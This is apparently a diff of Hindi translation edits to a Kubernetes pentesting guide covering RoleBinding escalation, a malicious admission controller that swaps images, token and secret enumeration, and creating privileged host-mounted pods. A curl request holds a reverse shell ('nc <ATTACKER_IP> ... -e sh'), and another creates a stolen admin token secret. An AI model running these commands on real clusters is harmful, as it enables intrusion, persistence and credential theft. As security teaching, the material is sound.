### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब उसी कारण से काम नहीं कर रही है जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से नहीं है तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।**
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. You cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
|
||||
भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को **भूमिकाओं को एक सेवा खाते से बाइंड करने** की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह **उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने** की अनुमति देता है।
|
||||
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
डिफ़ॉल्ट रूप से, पॉड्स के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।
|
||||
By default there isn't any encryption in the communication between pods. Mutual authentication, two-way, pod to pod.
|
||||
|
||||
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
|
||||
अपना .yaml बनाएं
|
||||
Create your .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
@@ -612,15 +612,15 @@ add: ["NET_ADMIN"]
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
अधिक जानकारी के लिए: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### दुर्भावनापूर्ण प्रवेश नियंत्रक
|
||||
### Malicious Admission Controller
|
||||
|
||||
एक प्रवेश नियंत्रक **Kubernetes API सर्वर पर अनुरोधों को रोकता है** वस्तु के स्थायीकरण से पहले, लेकिन **अनुरोध के प्रमाणित** **और अधिकृत** होने के बाद।
|
||||
An admission controller **Kubernetes API सर्वर** के लिए अनुरोधों को **अवरोधित करता है** पहले वस्तु की स्थायीता से, लेकिन **अनुरोध को प्रमाणित** **और अधिकृत** करने के बाद।
|
||||
|
||||
यदि एक हमलावर किसी तरह **Mutationg Admission Controller को इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रूप से बने रहना।
|
||||
यदि एक हमलावर किसी तरह **Mutationg Admission Controller** को **इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रहना।
|
||||
|
||||
**उदाहरण** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
@@ -646,7 +646,7 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने `nginx` इमेज चलाने की कोशिश की लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। क्या हुआ!!?
|
||||
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने `nginx` इमेज चलाने की कोशिश की, लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। क्या हुआ!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
@@ -671,13 +671,13 @@ Value: "rewanthtammana/malicious-image",
|
||||
### **सेवा खाता टोकन का ऑटोमाउंट बंद करना**
|
||||
|
||||
- **पॉड और सेवा खाते**: डिफ़ॉल्ट रूप से, पॉड एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस ऑटोमाउंट सुविधा को बंद करने की अनुमति देता है।
|
||||
- **कैसे लागू करें**: सेवा खातों या पॉड्स की कॉन्फ़िगरेशन में `automountServiceAccountToken: false` सेट करें, Kubernetes संस्करण 1.6 से शुरू।
|
||||
- **कैसे लागू करें**: सेवा खातों या पॉड्स की कॉन्फ़िगरेशन में `automountServiceAccountToken: false` सेट करें, जो Kubernetes संस्करण 1.6 से शुरू होता है।
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट**
|
||||
|
||||
- **चयनात्मक समावेश**: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे।
|
||||
|
||||
### **क्लस्टर-व्यापी भूमिकाओं की तुलना में नामस्थान-विशिष्ट भूमिकाएँ**
|
||||
### **क्लस्टर-व्यापी भूमिकाओं के मुकाबले नामस्थान-विशिष्ट भूमिकाएँ**
|
||||
|
||||
- **भूमिकाएँ बनाम ClusterRoles**: क्लस्टर-व्यापी लागू होने वाले ClusterRoles और ClusterRoleBindings के बजाय नामस्थान-विशिष्ट अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
जारी रखने से पहले, यदि आप नहीं जानते कि Kubernetes में सेवा क्या है, तो मैं आपको **इस लिंक का पालन करने और Kubernetes आर्किटेक्चर के बारे में कम से कम जानकारी पढ़ने की सलाह दूंगा।**
|
||||
जारी रखने से पहले, यदि आप नहीं जानते कि Kubernetes में सेवा क्या है, तो मैं आपको **इस लिंक का पालन करने और Kubernetes आर्किटेक्चर के बारे में कम से कम जानकारी पढ़ने** की सलाह दूंगा।
|
||||
|
||||
Kubernetes [दस्तावेज़ीकरण](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) से लिया गया:
|
||||
|
||||
@@ -63,7 +63,7 @@ _**Hot pods**_ ऐसे पॉड होते हैं जिनमें ए
|
||||
K8s वातावरण को सूचीबद्ध करने के लिए आपको इनमें से कुछ की आवश्यकता है:
|
||||
|
||||
- एक **मान्य प्रमाणीकरण टोकन**। पिछले अनुभाग में हमने उपयोगकर्ता टोकन और सेवा खाता टोकन के लिए कहाँ खोजें, देखा।
|
||||
- **Kubernetes API का **पता (**_**https://host:port**_**)**। यह आमतौर पर वातावरण चर और/या kube कॉन्फ़िग फ़ाइल में पाया जा सकता है।
|
||||
- **Kubernetes API का **पता** (_**https://host:port**_**)। यह आमतौर पर वातावरण चर और/या kube कॉन्फ़िग फ़ाइल में पाया जा सकता है।
|
||||
- **वैकल्पिक**: **API सर्वर को सत्यापित करने के लिए ca.crt**। यह उसी स्थानों पर पाया जा सकता है जहाँ टोकन पाया जा सकता है। यह API सर्वर प्रमाणपत्र को सत्यापित करने के लिए उपयोगी है, लेकिन `--insecure-skip-tls-verify` का उपयोग करते समय `kubectl` के साथ या `-k` का उपयोग करते समय `curl` के साथ आपको इसकी आवश्यकता नहीं होगी।
|
||||
|
||||
इन विवरणों के साथ आप **Kubernetes को सूचीबद्ध** कर सकते हैं। यदि **API** किसी कारण से **इंटरनेट** के माध्यम से **सुलभ** है, तो आप बस उस जानकारी को डाउनलोड कर सकते हैं और अपने होस्ट से प्लेटफ़ॉर्म को सूचीबद्ध कर सकते हैं।
|
||||
@@ -98,7 +98,7 @@ GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
|
||||
### Using curl
|
||||
|
||||
एक पॉड के अंदर आप कई env वेरिएबल्स का उपयोग कर सकते हैं:
|
||||
एक पॉड के अंदर, आप कई env वेरिएबल्स का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||||
@@ -121,9 +121,9 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-
|
||||
```
|
||||
> यदि URL में `https://` नहीं है, तो आपको Bad Request जैसी त्रुटि मिल सकती है।
|
||||
|
||||
आप [**यहां आधिकारिक kubectl चीटशीट**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित अनुभागों का लक्ष्य विभिन्न विकल्पों को क्रमबद्ध तरीके से प्रस्तुत करना है ताकि आप उस नए K8s को समझ सकें, जिसमें आपको पहुंच प्राप्त हुई है।
|
||||
आप [**यहां आधिकारिक kubectl चीटशीट**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित अनुभागों का लक्ष्य विभिन्न विकल्पों को क्रमबद्ध तरीके से प्रस्तुत करना है ताकि आप उस नए K8s को समझ सकें, जिसे आपने एक्सेस किया है।
|
||||
|
||||
HTTP अनुरोध को खोजने के लिए जो `kubectl` भेजता है, आप पैरामीटर `-v=8` का उपयोग कर सकते हैं।
|
||||
यह जानने के लिए कि `kubectl` कौन-सी HTTP अनुरोध भेजता है, आप पैरामीटर `-v=8` का उपयोग कर सकते हैं।
|
||||
|
||||
#### MitM kubectl - kubectl को प्रॉक्सी करना
|
||||
```bash
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
यदि आप कुछ उपयोगकर्ताओं के क्रेडेंशियल चुराने में सफल रहे हैं, तो आप उन्हें **स्थानीय रूप से कॉन्फ़िगर** कर सकते हैं, जैसे:
|
||||
यदि आप कुछ उपयोगकर्ताओं के क्रेडेंशियल चुराने में सफल हो गए हैं, तो आप उन्हें **स्थानीय रूप से कॉन्फ़िगर** कर सकते हैं, जैसे:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
|
||||
```
|
||||
### समर्थित संसाधन प्राप्त करें
|
||||
|
||||
इस जानकारी के साथ आप सभी सेवाओं को जानेंगे जिन्हें आप सूचीबद्ध कर सकते हैं
|
||||
इस जानकारी के साथ, आप सभी सेवाओं को जानेंगे जिन्हें आप सूचीबद्ध कर सकते हैं
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
|
||||
```
|
||||
### सेवा खातों को प्राप्त करें
|
||||
|
||||
जैसा कि इस पृष्ठ की शुरुआत में चर्चा की गई थी **जब एक पॉड चलाया जाता है, तो आमतौर पर एक सेवा खाता उसे सौंपा जाता है**। इसलिए, सेवा खातों, उनकी अनुमतियों और वे कहाँ चल रहे हैं, की सूची बनाना एक उपयोगकर्ता को विशेषाधिकार बढ़ाने की अनुमति दे सकता है।
|
||||
जैसा कि इस पृष्ठ की शुरुआत में चर्चा की गई थी **जब एक पॉड चलाया जाता है, तो आमतौर पर एक सेवा खाता उसे सौंपा जाता है**। इसलिए, सेवा खातों की सूची बनाना, उनकी अनुमतियाँ और वे कहाँ चल रहे हैं, एक उपयोगकर्ता को विशेषाधिकार बढ़ाने की अनुमति दे सकता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### सेवाएँ प्राप्त करें
|
||||
|
||||
Kubernetes **सेवाएँ** का उपयोग **एक विशिष्ट पोर्ट और IP में एक सेवा को उजागर करने के लिए** किया जाता है (जो उन पॉड्स के लिए लोड बैलेंसर के रूप में कार्य करेगा जो वास्तव में सेवा प्रदान कर रहे हैं)। यह जानना दिलचस्प है कि आप अन्य सेवाएँ कहाँ पा सकते हैं जिन पर आप हमला करने की कोशिश कर सकते हैं।
|
||||
Kubernetes **सेवाएँ** का उपयोग **एक विशिष्ट पोर्ट और IP में एक सेवा को उजागर करने के लिए** किया जाता है (जो वास्तव में सेवा प्रदान करने वाले पॉड्स के लिए लोड बैलेंसर के रूप में कार्य करेगा)। यह जानना दिलचस्प है कि आप अन्य सेवाएँ कहाँ पा सकते हैं जिन पर आप हमला करने की कोशिश कर सकते हैं।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -347,7 +347,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
|
||||
### नोड्स प्राप्त करें
|
||||
|
||||
**क्लस्टर के अंदर कॉन्फ़िगर किए गए सभी नोड्स प्राप्त करें**।
|
||||
क्लस्टर के अंदर **कॉन्फ़िगर किए गए सभी नोड्स** प्राप्त करें।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -401,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### configMap प्राप्त करें
|
||||
|
||||
configMap हमेशा बहुत सारी जानकारी और configfile शामिल करता है जो kubernetes में चलने वाले ऐप्स को प्रदान करता है। आमतौर पर, आप बहुत सारे पासवर्ड, रहस्य, टोकन पा सकते हैं जो अन्य आंतरिक/बाहरी सेवाओं से कनेक्ट करने और मान्य करने के लिए उपयोग किए जाते हैं।
|
||||
configMap हमेशा बहुत सारी जानकारी और configfile शामिल करता है जो kubernetes में चलने वाले ऐप्स को प्रदान करता है। आमतौर पर, आप बहुत सारे पासवर्ड, रहस्य, टोकन पा सकते हैं जो अन्य आंतरिक/बाहरी सेवा से कनेक्ट करने और मान्य करने के लिए उपयोग किए जाते हैं।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -461,7 +461,7 @@ k top pod --all-namespaces
|
||||
|
||||
## क्लस्टर के साथ kubectl का उपयोग किए बिना इंटरैक्ट करना
|
||||
|
||||
चूंकि Kubernetes नियंत्रण Plane एक REST-ful API को उजागर करता है, आप HTTP अनुरोधों को हाथ से तैयार कर सकते हैं और उन्हें अन्य उपकरणों के साथ भेज सकते हैं, जैसे **curl** या **wget**।
|
||||
चूंकि Kubernetes नियंत्रण Plane एक REST-ful API को उजागर करता है, आप HTTP अनुरोधों को हाथ से तैयार कर सकते हैं और उन्हें अन्य उपकरणों, जैसे **curl** या **wget** के साथ भेज सकते हैं।
|
||||
|
||||
### पॉड से बाहर निकलना
|
||||
|
||||
@@ -475,7 +475,7 @@ kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
>
|
||||
> सामान्यतः, kubernetes.io/hostname और node-role.kubernetes.io/master सभी अच्छे लेबल हैं चयन के लिए।
|
||||
|
||||
फिर आप अपना attack.yaml फ़ाइल बनाते हैं
|
||||
फिर आप अपना attack.yaml फ़ाइल बनाते हैं।
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -549,7 +549,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
curl के साथ पॉड बनाएं:
|
||||
पॉड को curl के साथ बनाएं:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -565,9 +565,9 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Delete a pod
|
||||
### एक पॉड हटाएँ
|
||||
|
||||
curl के साथ एक पोड हटाएँ:
|
||||
curl के साथ एक पॉड हटाएँ:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -707,7 +707,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### एक सीक्रेट हटाएँ
|
||||
### एक सीक्रेट हटाएं
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
Reference in New Issue
Block a user